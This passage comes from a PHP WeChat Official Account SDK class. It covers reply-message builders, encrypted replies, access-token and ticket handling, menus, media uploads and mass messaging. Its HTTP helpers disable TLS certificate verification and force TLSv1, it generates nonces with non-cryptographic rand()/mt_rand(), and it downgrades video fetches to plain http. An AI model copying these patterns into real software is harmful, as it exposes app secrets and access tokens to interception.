			'ToUserName' => $this->getRevFrom(),

			'FromUserName'=>$this->getRevTo(),

			'MsgType'=>self::MSGTYPE_VOICE,

			'Voice'=>array('MediaId'=>$mediaid),

			'CreateTime'=>time(),

			'FuncFlag'=>$FuncFlag

		);

		$this->Message($msg);

		return $this;

	}

	/**

	 * 设置回复消息

	 * Example: $obj->video('media_id','title','description')->reply();

	 * @param string $mediaid

	 */

	public function video($mediaid='',$title='',$description='')

	{

		$FuncFlag = $this->_funcflag ? 1 : 0;

		$msg = array(

			'ToUserName' => $this->getRevFrom(),

			'FromUserName'=>$this->getRevTo(),

			'MsgType'=>self::MSGTYPE_VIDEO,

			'Video'=>array(

			        'MediaId'=>$mediaid,

			        'Title'=>$title,

			        'Description'=>$description

			),

			'CreateTime'=>time(),

			'FuncFlag'=>$FuncFlag

		);

		$this->Message($msg);

		return $this;

	}

	/**

	 * 设置回复音乐

	 * @param string $title

	 * @param string $desc

	 * @param string $musicurl

	 * @param string $hgmusicurl

	 * @param string $thumbmediaid 音乐图片缩略图的媒体id，非必须

	 */

	public function music($title,$desc,$musicurl,$hgmusicurl='',$thumbmediaid='') {

		$FuncFlag = $this->_funcflag ? 1 : 0;

		$msg = array(

			'ToUserName' => $this->getRevFrom(),

			'FromUserName'=>$this->getRevTo(),

			'CreateTime'=>time(),

			'MsgType'=>self::MSGTYPE_MUSIC,

			'Music'=>array(

				'Title'=>$title,

				'Description'=>$desc,

				'MusicUrl'=>$musicurl,

				'HQMusicUrl'=>$hgmusicurl

			),

			'FuncFlag'=>$FuncFlag

		);

		if ($thumbmediaid) {

			$msg['Music']['ThumbMediaId'] = $thumbmediaid;

		}

		$this->Message($msg);

		return $this;

	}

	/**

	 * 设置回复图文

	 * @param array $newsData

	 * 数组结构:

	 *  array(

	 *  	"0"=>array(

	 *  		'Title'=>'msg title',

	 *  		'Description'=>'summary text',

	 *  		'PicUrl'=>'http://www.domain.com/1.jpg',

	 *  		'Url'=>'http://www.domain.com/1.html'

	 *  	),

	 *  	"1"=>....

	 *  )

	 */

	public function news($newsData=array())

	{

		$FuncFlag = $this->_funcflag ? 1 : 0;

		$count = count($newsData);

		$msg = array(

			'ToUserName' => $this->getRevFrom(),

			'FromUserName'=>$this->getRevTo(),

			'MsgType'=>self::MSGTYPE_NEWS,

			'CreateTime'=>time(),

			'ArticleCount'=>$count,

			'Articles'=>$newsData,

			'FuncFlag'=>$FuncFlag

		);

		$this->Message($msg);

		return $this;

	}

	/**

	 *

	 * 回复微信服务器, 此函数支持链式操作

	 * Example: $this->text('msg tips')->reply();

	 * @param string $msg 要发送的信息, 默认取$this->_msg

	 * @param bool $return 是否返回信息而不抛出到浏览器 默认:否

	 */

	public function reply($msg=array(),$return = false)

	{

		if (empty($msg)) {

		    if (empty($this->_msg))   //防止不先设置回复内容，直接调用reply方法导致异常

		        return false;

			$msg = $this->_msg;

		}

		$xmldata=  $this->xml_encode($msg);

		$this->log($xmldata);

		if ($this->encrypt_type == 'aes') { //如果来源消息为加密方式

		    $pc = new Prpcrypt($this->encodingAesKey);

		    $array = $pc->encrypt($xmldata, $this->appid);

		    $ret = $array[0];

		    if ($ret != 0) {

		        $this->log('encrypt err!');

		        return false;

		    }

		    $timestamp = time();

		    $nonce = rand(77,999)*rand(605,888)*rand(11,99);

		    $encrypt = $array[1];

		    $tmpArr = array($this->token, $timestamp, $nonce,$encrypt);//比普通公众平台多了一个加密的密文

		    sort($tmpArr, SORT_STRING);

		    $signature = implode($tmpArr);

		    $signature = sha1($signature);

		    $xmldata = $this->generate($encrypt, $signature, $timestamp, $nonce);

		    $this->log($xmldata);

		}

		if ($return)

			return $xmldata;

		else

			echo $xmldata;

	}

    /**

     * xml格式加密，仅请求为加密方式时再用

     */

	private function generate($encrypt, $signature, $timestamp, $nonce)

	{

	    //格式化加密信息

	    $format = "<xml>

<Encrypt><![CDATA[%s]]></Encrypt>

<MsgSignature><![CDATA[%s]]></MsgSignature>

<TimeStamp>%s</TimeStamp>

<Nonce><![CDATA[%s]]></Nonce>

</xml>";

	    return sprintf($format, $encrypt, $signature, $timestamp, $nonce);

	}

	/**

	 * GET 请求

	 * @param string $url

	 */

	private function http_get($url){

		$oCurl = curl_init();

		if(stripos($url,"https://")!==FALSE){

			curl_setopt($oCurl, CURLOPT_SSL_VERIFYPEER, FALSE);

			curl_setopt($oCurl, CURLOPT_SSL_VERIFYHOST, FALSE);

			curl_setopt($oCurl, CURLOPT_SSLVERSION, 1); //CURL_SSLVERSION_TLSv1

		}

		curl_setopt($oCurl, CURLOPT_URL, $url);

		curl_setopt($oCurl, CURLOPT_RETURNTRANSFER, 1 );

		$sContent = curl_exec($oCurl);

		$aStatus = curl_getinfo($oCurl);

		curl_close($oCurl);

		if(intval($aStatus["http_code"])==200){

			return $sContent;

		}else{

			return false;

		}

	}

	/**

	 * POST 请求

	 * @param string $url

	 * @param array $param

	 * @param boolean $post_file 是否文件上传

	 * @return string content

	 */

	private function http_post($url,$param,$post_file=false){

		$oCurl = curl_init();

		if(stripos($url,"https://")!==FALSE){

			curl_setopt($oCurl, CURLOPT_SSL_VERIFYPEER, FALSE);

			curl_setopt($oCurl, CURLOPT_SSL_VERIFYHOST, false);

			curl_setopt($oCurl, CURLOPT_SSLVERSION, 1); //CURL_SSLVERSION_TLSv1

		}

		if (is_string($param) || $post_file) {

			$strPOST = $param;

		} else {

			$aPOST = array();

			foreach($param as $key=>$val){

				$aPOST[] = $key."=".urlencode($val);

			}

			$strPOST =  join("&", $aPOST);

		}

		curl_setopt($oCurl, CURLOPT_URL, $url);

		curl_setopt($oCurl, CURLOPT_RETURNTRANSFER, 1 );

		curl_setopt($oCurl, CURLOPT_POST,true);

		curl_setopt($oCurl, CURLOPT_POSTFIELDS,$strPOST);

		$sContent = curl_exec($oCurl);

		$aStatus = curl_getinfo($oCurl);

		curl_close($oCurl);

		if(intval($aStatus["http_code"])==200){

			return $sContent;

		}else{

			return false;

		}

	}

	/**

	 * 设置缓存，按需重载

	 * @param string $cachename

	 * @param mixed $value

	 * @param int $expired

	 * @return boolean

	 */

	protected function setCache($cachename,$value,$expired){

		//TODO: set cache implementation

		return false;

	}

	/**

	 * 获取缓存，按需重载

	 * @param string $cachename

	 * @return mixed

	 */

	protected function getCache($cachename){

		//TODO: get cache implementation

		return false;

	}

	/**

	 * 清除缓存，按需重载

	 * @param string $cachename

	 * @return boolean

	 */

	protected function removeCache($cachename){

		//TODO: remove cache implementation

		return false;

	}

	/**

	 * 获取access_token

	 * @param string $appid 如在类初始化时已提供，则可为空

	 * @param string $appsecret 如在类初始化时已提供，则可为空

	 * @param string $token 手动指定access_token，非必要情况不建议用

	 */

	public function checkAuth($appid='',$appsecret='',$token=''){

		if (!$appid || !$appsecret) {

			$appid = $this->appid;

			$appsecret = $this->appsecret;

		}

		if ($token) { //手动指定token，优先使用

		    $this->access_token=$token;

		    return $this->access_token;

		}

		$authname = 'wechat_access_token'.$appid;

		if ($rs = $this->getCache($authname))  {

			$this->access_token = $rs;

			return $rs;

		}

		$result = $this->http_get(self::API_URL_PREFIX.self::AUTH_URL.'appid='.$appid.'&secret='.$appsecret);

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || isset($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			$this->access_token = $json['access_token'];

			$expire = $json['expires_in'] ? intval($json['expires_in'])-100 : 3600;

			$this->setCache($authname,$this->access_token,$expire);

			return $this->access_token;

		}

		return false;

	}

	/**

	 * 删除验证数据

	 * @param string $appid

	 */

	public function resetAuth($appid=''){

		if (!$appid) $appid = $this->appid;

		$this->access_token = '';

		$authname = 'wechat_access_token'.$appid;

		$this->removeCache($authname);

		return true;

	}

	/**

	 * 删除JSAPI授权TICKET

	 * @param string $appid 用于多个appid时使用

	 */

	public function resetJsTicket($appid=''){

		if (!$appid) $appid = $this->appid;

		$this->jsapi_ticket = '';

		$authname = 'wechat_jsapi_ticket'.$appid;

		$this->removeCache($authname);

		return true;

	}

	/**

	 * 获取JSAPI授权TICKET

	 * @param string $appid 用于多个appid时使用,可空

	 * @param string $jsapi_ticket 手动指定jsapi_ticket，非必要情况不建议用

	 */

	public function getJsTicket($appid='',$jsapi_ticket=''){

		if (!$this->access_token && !$this->checkAuth()) return false;

		if (!$appid) $appid = $this->appid;

		if ($jsapi_ticket) { //手动指定token，优先使用

		    $this->jsapi_ticket = $jsapi_ticket;

		    return $this->jsapi_ticket;

		}

		$authname = 'wechat_jsapi_ticket'.$appid;

		if ($rs = $this->getCache($authname))  {

			$this->jsapi_ticket = $rs;

			return $rs;

		}

		$result = $this->http_get(self::API_URL_PREFIX.self::GET_TICKET_URL.'access_token='.$this->access_token.'&type=jsapi');

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			$this->jsapi_ticket = $json['ticket'];

			$expire = $json['expires_in'] ? intval($json['expires_in'])-100 : 3600;

			$this->setCache($authname,$this->jsapi_ticket,$expire);

			return $this->jsapi_ticket;

		}

		return false;

	}

	/**

	 * 获取JsApi使用签名

	 * @param string $url 网页的URL，自动处理#及其后面部分

	 * @param string $timestamp 当前时间戳 (为空则自动生成)

	 * @param string $noncestr 随机串 (为空则自动生成)

	 * @param string $appid 用于多个appid时使用,可空

	 * @return array|bool 返回签名字串

	 */

	public function getJsSign($url, $timestamp=0, $noncestr='', $appid=''){

	    if (!$this->jsapi_ticket && !$this->getJsTicket($appid) || !$url) return false;

	    if (!$timestamp)

	        $timestamp = time();

	    if (!$noncestr)

	        $noncestr = $this->generateNonceStr();

	    $ret = strpos($url,'#');

	    if ($ret)

	        $url = substr($url,0,$ret);

	    $url = trim($url);

	    if (empty($url))

	        return false;

	    $arrdata = array("timestamp" => $timestamp, "noncestr" => $noncestr, "url" => $url, "jsapi_ticket" => $this->jsapi_ticket);

	    $sign = $this->getSignature($arrdata);

	    if (!$sign)

	        return false;

	    $signPackage = array(

	            "appId"     => $this->appid,

	            "nonceStr"  => $noncestr,

	            "timestamp" => $timestamp,

	            "url"       => $url,

	            "signature" => $sign

	    );

	    return $signPackage;

	}

	/**

	 * 微信api不支持中文转义的json结构

	 * @param array $arr

	 */

	static function json_encode($arr) {

		$parts = array ();

		$is_list = false;

		//Find out if the given array is a numerical array

		$keys = array_keys ( $arr );

		$max_length = count ( $arr ) - 1;

		if (($keys [0] === 0) && ($keys [$max_length] === $max_length )) { //See if the first key is 0 and last key is length - 1

			$is_list = true;

			for($i = 0; $i < count ( $keys ); $i ++) { //See if each key correspondes to its position

				if ($i != $keys [$i]) { //A key fails at position check.

					$is_list = false; //It is an associative array.

					break;

				}

			}

		}

		foreach ( $arr as $key => $value ) {

			if (is_array ( $value )) { //Custom handling for arrays

				if ($is_list)

					$parts [] = self::json_encode ( $value ); /* :RECURSION: */

				else

					$parts [] = '"' . $key . '":' . self::json_encode ( $value ); /* :RECURSION: */

			} else {

				$str = '';

				if (! $is_list)

					$str = '"' . $key . '":';

				//Custom handling for multiple data types

				if (!is_string ( $value ) && is_numeric ( $value ) && $value<2000000000)

					$str .= $value; //Numbers

				elseif ($value === false)

				$str .= 'false'; //The booleans

				elseif ($value === true)

				$str .= 'true';

				else

					$str .= '"' . addslashes ( $value ) . '"'; //All other things

				// :TODO: Is there any more datatype we should be in the lookout for? (Object?)

				$parts [] = $str;

			}

		}

		$json = implode ( ',', $parts );

		if ($is_list)

			return '[' . $json . ']'; //Return numerical JSON

		return '{' . $json . '}'; //Return associative JSON

	}

	/**

	 * 获取签名

	 * @param array $arrdata 签名数组

	 * @param string $method 签名方法

	 * @return boolean|string 签名值

	 */

	public function getSignature($arrdata,$method="sha1") {

		if (!function_exists($method)) return false;

		ksort($arrdata);

		$paramstring = "";

		foreach($arrdata as $key => $value)

		{

			if(strlen($paramstring) == 0)

				$paramstring .= $key . "=" . $value;

			else

				$paramstring .= "&" . $key . "=" . $value;

		}

		$Sign = $method($paramstring);

		return $Sign;

	}

	/**

	 * 获取微信卡券api_ticket

	 * @param string $appid 用于多个appid时使用,可空

	 * @param string $api_ticket 手动指定api_ticket，非必要情况不建议用

	 */

	public function getJsCardTicket($appid='',$api_ticket=''){

		if (!$this->access_token && !$this->checkAuth()) return false;

		if (!$appid) $appid = $this->appid;

		if ($api_ticket) { //手动指定token，优先使用

		    $this->api_ticket = $api_ticket;

		    return $this->api_ticket;

		}

		$authname = 'wechat_api_ticket_wxcard'.$appid;

		if ($rs = $this->getCache($authname))  {

			$this->api_ticket = $rs;

			return $rs;

		}

		$result = $this->http_get(self::API_URL_PREFIX.self::GET_TICKET_URL.'access_token='.$this->access_token.'&type=wx_card');

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			$this->api_ticket = $json['ticket'];

			$expire = $json['expires_in'] ? intval($json['expires_in'])-100 : 3600;

			$this->setCache($authname,$this->api_ticket,$expire);

			return $this->api_ticket;

		}

		return false;

	}

	/**

	 * 获取微信卡券签名

	 * @param array $arrdata 签名数组

	 * @param string $method 签名方法

	 * @return boolean|string 签名值

	 */

	public function getTicketSignature($arrdata,$method="sha1") {

		if (!function_exists($method)) return false;

		$newArray = array();

		foreach($arrdata as $key => $value)

		{

			array_push($newArray,(string)$value);

		}

		sort($newArray,SORT_STRING);

		return $method(implode($newArray));

	}

	/**

	 * 生成随机字串

	 * @param number $length 长度，默认为16，最长为32字节

	 * @return string

	 */

	public function generateNonceStr($length=16){

		// 密码字符集，可任意添加你需要的字符

		$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

		$str = "";

		for($i = 0; $i < $length; $i++)

		{

			$str .= $chars[mt_rand(0, strlen($chars) - 1)];

		}

		return $str;

	}

	/**

	 * 获取微信服务器IP地址列表

	 * @return array('127.0.0.1','127.0.0.1')

	 */

	public function getServerIp(){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_get(self::API_URL_PREFIX.self::CALLBACKSERVER_GET_URL.'access_token='.$this->access_token);

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || isset($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json['ip_list'];

		}

		return false;

	}

	/**

	 * 创建菜单(认证后的订阅号可用)

	 * @param array $data 菜单数组数据

	 * example:

     * 	array (

     * 	    'button' => array (

     * 	      0 => array (

     * 	        'name' => '扫码',

     * 	        'sub_button' => array (

     * 	            0 => array (

     * 	              'type' => 'scancode_waitmsg',

     * 	              'name' => '扫码带提示',

     * 	              'key' => 'rselfmenu_0_0',

     * 	            ),

     * 	            1 => array (

     * 	              'type' => 'scancode_push',

     * 	              'name' => '扫码推事件',

     * 	              'key' => 'rselfmenu_0_1',

     * 	            ),

     * 	        ),

     * 	      ),

     * 	      1 => array (

     * 	        'name' => '发图',

     * 	        'sub_button' => array (

     * 	            0 => array (

     * 	              'type' => 'pic_sysphoto',

     * 	              'name' => '系统拍照发图',

     * 	              'key' => 'rselfmenu_1_0',

     * 	            ),

     * 	            1 => array (

     * 	              'type' => 'pic_photo_or_album',

     * 	              'name' => '拍照或者相册发图',

     * 	              'key' => 'rselfmenu_1_1',

     * 	            )

     * 	        ),

     * 	      ),

     * 	      2 => array (

     * 	        'type' => 'location_select',

     * 	        'name' => '发送位置',

     * 	        'key' => 'rselfmenu_2_0'

     * 	      ),

     * 	    ),

     * 	)

     * type可以选择为以下几种，其中5-8除了收到菜单事件以外，还会单独收到对应类型的信息。

     * 1、click：点击推事件

     * 2、view：跳转URL

     * 3、scancode_push：扫码推事件

     * 4、scancode_waitmsg：扫码推事件且弹出“消息接收中”提示框

     * 5、pic_sysphoto：弹出系统拍照发图

     * 6、pic_photo_or_album：弹出拍照或者相册发图

     * 7、pic_weixin：弹出微信相册发图器

     * 8、location_select：弹出地理位置选择器

	 */

	public function createMenu($data){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_post(self::API_URL_PREFIX.self::MENU_CREATE_URL.'access_token='.$this->access_token,self::json_encode($data));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return true;

		}

		return false;

	}

	/**

	 * 获取菜单(认证后的订阅号可用)

	 * @return array('menu'=>array(....s))

	 */

	public function getMenu(){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_get(self::API_URL_PREFIX.self::MENU_GET_URL.'access_token='.$this->access_token);

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || isset($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 删除菜单(认证后的订阅号可用)

	 * @return boolean

	 */

	public function deleteMenu(){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_get(self::API_URL_PREFIX.self::MENU_DELETE_URL.'access_token='.$this->access_token);

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return true;

		}

		return false;

	}

	/**

	 * 上传临时素材，有效期为3天(认证后的订阅号可用)

	 * 注意：上传大文件时可能需要先调用 set_time_limit(0) 避免超时

	 * 注意：数组的键值任意，但文件名前必须加@，使用单引号以避免本地路径斜杠被转义

     * 注意：临时素材的media_id是可复用的！

	 * @param array $data {"media":'@Path\filename.jpg'}

	 * @param type 类型：图片:image 语音:voice 视频:video 缩略图:thumb

	 * @return boolean|array

	 */

	public function uploadMedia($data, $type){

		if (!$this->access_token && !$this->checkAuth()) return false;

		//原先的上传多媒体文件接口使用 self::UPLOAD_MEDIA_URL 前缀

		$result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_UPLOAD_URL.'access_token='.$this->access_token.'&type='.$type,$data,true);

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 获取临时素材(认证后的订阅号可用)

	 * @param string $media_id 媒体文件id

	 * @param boolean $is_video 是否为视频文件，默认为否

	 * @return raw data

	 */

	public function getMedia($media_id,$is_video=false){

		if (!$this->access_token && !$this->checkAuth()) return false;

		//原先的上传多媒体文件接口使用 self::UPLOAD_MEDIA_URL 前缀

		//如果要获取的素材是视频文件时，不能使用https协议，必须更换成http协议

		$url_prefix = $is_video?str_replace('https','http',self::API_URL_PREFIX):self::API_URL_PREFIX;

		$result = $this->http_get($url_prefix.self::MEDIA_GET_URL.'access_token='.$this->access_token.'&media_id='.$media_id);

		if ($result)

		{

            if (is_string($result)) {

                $json = json_decode($result,true);

                if (isset($json['errcode'])) {

                    $this->errCode = $json['errcode'];

                    $this->errMsg = $json['errmsg'];

                    return false;

                }

            }

			return $result;

		}

		return false;

	}

	/**

	 * 上传图片，本接口所上传的图片不占用公众号的素材库中图片数量的5000个的限制。图片仅支持jpg/png格式，大小必须在1MB以下。 (认证后的订阅号可用)

	 * 注意：上传大文件时可能需要先调用 set_time_limit(0) 避免超时

	 * 注意：数组的键值任意，但文件名前必须加@，使用单引号以避免本地路径斜杠被转义

	 * @param array $data {"media":'@Path\filename.jpg'}

	 *

	 * @return boolean|array

	 */

	public function uploadImg($data){

		if (!$this->access_token && !$this->checkAuth()) return false;

		//原先的上传多媒体文件接口使用 self::UPLOAD_MEDIA_URL 前缀

		$result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_UPLOADIMG_URL.'access_token='.$this->access_token,$data,true);

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

    /**

     * 上传永久素材(认证后的订阅号可用)

     * 新增的永久素材也可以在公众平台官网素材管理模块中看到

     * 注意：上传大文件时可能需要先调用 set_time_limit(0) 避免超时

     * 注意：数组的键值任意，但文件名前必须加@，使用单引号以避免本地路径斜杠被转义

     * @param array $data {"media":'@Path\filename.jpg'}

     * @param type 类型：图片:image 语音:voice 视频:video 缩略图:thumb

     * @param boolean $is_video 是否为视频文件，默认为否

     * @param array $video_info 视频信息数组，非视频素材不需要提供 array('title'=>'视频标题','introduction'=>'描述')

     * @return boolean|array

     */

    public function uploadForeverMedia($data, $type,$is_video=false,$video_info=array()){

        if (!$this->access_token && !$this->checkAuth()) return false;

        //#TODO 暂不确定此接口是否需要让视频文件走http协议

        //如果要获取的素材是视频文件时，不能使用https协议，必须更换成http协议

        //$url_prefix = $is_video?str_replace('https','http',self::API_URL_PREFIX):self::API_URL_PREFIX;

        //当上传视频文件时，附加视频文件信息

        if ($is_video) $data['description'] = self::json_encode($video_info);

        $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_FOREVER_UPLOAD_URL.'access_token='.$this->access_token.'&type='.$type,$data,true);

        if ($result)

        {

            $json = json_decode($result,true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 上传永久图文素材(认证后的订阅号可用)

     * 新增的永久素材也可以在公众平台官网素材管理模块中看到

     * @param array $data 消息结构{"articles":[{...}]}

     * @return boolean|array

     */

    public function uploadForeverArticles($data){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_FOREVER_NEWS_UPLOAD_URL.'access_token='.$this->access_token,self::json_encode($data));

        if ($result)

        {

            $json = json_decode($result,true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 修改永久图文素材(认证后的订阅号可用)

     * 永久素材也可以在公众平台官网素材管理模块中看到

     * @param string $media_id 图文素材id

     * @param array $data 消息结构{"articles":[{...}]}

     * @param int $index 更新的文章在图文素材的位置，第一篇为0，仅多图文使用

     * @return boolean|array

     */

    public function updateForeverArticles($media_id,$data,$index=0){

        if (!$this->access_token && !$this->checkAuth()) return false;

        if (!isset($data['media_id'])) $data['media_id'] = $media_id;

        if (!isset($data['index'])) $data['index'] = $index;

        $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_FOREVER_NEWS_UPDATE_URL.'access_token='.$this->access_token,self::json_encode($data));

        if ($result)

        {

            $json = json_decode($result,true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 获取永久素材(认证后的订阅号可用)

     * 返回图文消息数组或二进制数据，失败返回false

     * @param string $media_id 媒体文件id

     * @param boolean $is_video 是否为视频文件，默认为否

     * @return boolean|array|raw data

     */

    public function getForeverMedia($media_id,$is_video=false){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $data = array('media_id' => $media_id);

        //#TODO 暂不确定此接口是否需要让视频文件走http协议

        //如果要获取的素材是视频文件时，不能使用https协议，必须更换成http协议

        //$url_prefix = $is_video?str_replace('https','http',self::API_URL_PREFIX):self::API_URL_PREFIX;

        $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_FOREVER_GET_URL.'access_token='.$this->access_token,self::json_encode($data));

        if ($result)

        {

            if (is_string($result)) {

                $json = json_decode($result,true);

                if ($json) {

                    if (isset($json['errcode'])) {

                        $this->errCode = $json['errcode'];

                        $this->errMsg = $json['errmsg'];

                        return false;

                    }

                    return $json;

                } else {

                    return $result;

                }

            }

            return $result;

        }

        return false;

    }

    /**

     * 删除永久素材(认证后的订阅号可用)

     * @param string $media_id 媒体文件id

     * @return boolean

     */

    public function delForeverMedia($media_id){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $data = array('media_id' => $media_id);

        $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_FOREVER_DEL_URL.'access_token='.$this->access_token,self::json_encode($data));

        if ($result)

        {

            $json = json_decode($result,true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg = $json['errmsg'];

                return false;

            }

            return true;

        }

        return false;

    }

    /**

     * 获取永久素材列表(认证后的订阅号可用)

     * @param string $type 素材的类型,图片（image）、视频（video）、语音 （voice）、图文（news）

     * @param int $offset 全部素材的偏移位置，0表示从第一个素材

     * @param int $count 返回素材的数量，取值在1到20之间

     * @return boolean|array

     * 返回数组格式:

     * array(

     *  'total_count'=>0, //该类型的素材的总数

     *  'item_count'=>0,  //本次调用获取的素材的数量

     *  'item'=>array()   //素材列表数组，内容定义请参考官方文档

     * )

     */

    public function getForeverList($type,$offset,$count){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $data = array(

            'type' => $type,

            'offset' => $offset,

            'count' => $count,

        );

        $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_FOREVER_BATCHGET_URL.'access_token='.$this->access_token,self::json_encode($data));

        if ($result)

        {

            $json = json_decode($result,true);

            if (isset($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 获取永久素材总数(认证后的订阅号可用)

     * @return boolean|array

     * 返回数组格式:

     * array(

     *  'voice_count'=>0, //语音总数量

     *  'video_count'=>0, //视频总数量

     *  'image_count'=>0, //图片总数量

     *  'news_count'=>0   //图文总数量

     * )

     */

    public function getForeverCount(){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_get(self::API_URL_PREFIX.self::MEDIA_FOREVER_COUNT_URL.'access_token='.$this->access_token);

        if ($result)

        {

            $json = json_decode($result,true);

            if (isset($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

	/**

	 * 上传图文消息素材，用于群发(认证后的订阅号可用)

	 * @param array $data 消息结构{"articles":[{...}]}

	 * @return boolean|array

	 */

	public function uploadArticles($data){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_UPLOADNEWS_URL.'access_token='.$this->access_token,self::json_encode($data));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 上传视频素材(认证后的订阅号可用)

	 * @param array $data 消息结构

	 * {

	 *     "media_id"=>"",     //通过上传媒体接口得到的MediaId

	 *     "title"=>"TITLE",    //视频标题

	 *     "description"=>"Description"        //视频描述

	 * }

	 * @return boolean|array

	 * {

	 *     "type":"video",

	 *     "media_id":"mediaid",

	 *     "created_at":1398848981

	 *  }

	 */

	public function uploadMpVideo($data){

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_post(self::UPLOAD_MEDIA_URL.self::MEDIA_VIDEO_UPLOAD.'access_token='.$this->access_token,self::json_encode($data));

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

	/**

	 * 高级群发消息, 根据OpenID列表群发图文消息(订阅号不可用)

	 * 	注意：视频需要在调用uploadMedia()方法后，再使用 uploadMpVideo() 方法生成，

	 *             然后获得的 mediaid 才能用于群发，且消息类型为 mpvideo 类型。

	 * @param array $data 消息结构

	 * {

	 *     "touser"=>array(

	 *         "OPENID1",

	 *         "OPENID2"

	 *     ),

	 *      "msgtype"=>"mpvideo",

	 *      // 在下面5种类型中选择对应的参数内容

	 *      // mpnews | voice | image | mpvideo => array( "media_id"=>"MediaId")

	 *      // text => array ( "content" => "hello")

	 * }

	 * @return boolean|array

	 */

	public function sendMassMessage($data){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_post(self::API_URL_PREFIX.self::MASS_SEND_URL.'access_token='.$this->access_token,self::json_encode($data));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 高级群发消息, 根据群组id群发图文消息(认证后的订阅号可用)

	 * 	注意：视频需要在调用uploadMedia()方法后，再使用 uploadMpVideo() 方法生成，

	 *             然后获得的 mediaid 才能用于群发，且消息类型为 mpvideo 类型。

	 * @param array $data 消息结构

	 * {

	 *     "filter"=>array(

	 *         "is_to_all"=>False,     //是否群发给所有用户.True不用分组id，False需填写分组id

	 *         "group_id"=>"2"     //群发的分组id

	 *     ),

	 *      "msgtype"=>"mpvideo",

	 *      // 在下面5种类型中选择对应的参数内容

	 *      // mpnews | voice | image | mpvideo => array( "media_id"=>"MediaId")

	 *      // text => array ( "content" => "hello")

	 * }

	 * @return boolean|array

	 */

	public function sendGroupMassMessage($data){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_post(self::API_URL_PREFIX.self::MASS_SEND_GROUP_URL.'access_token='.$this->access_token,self::json_encode($data));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

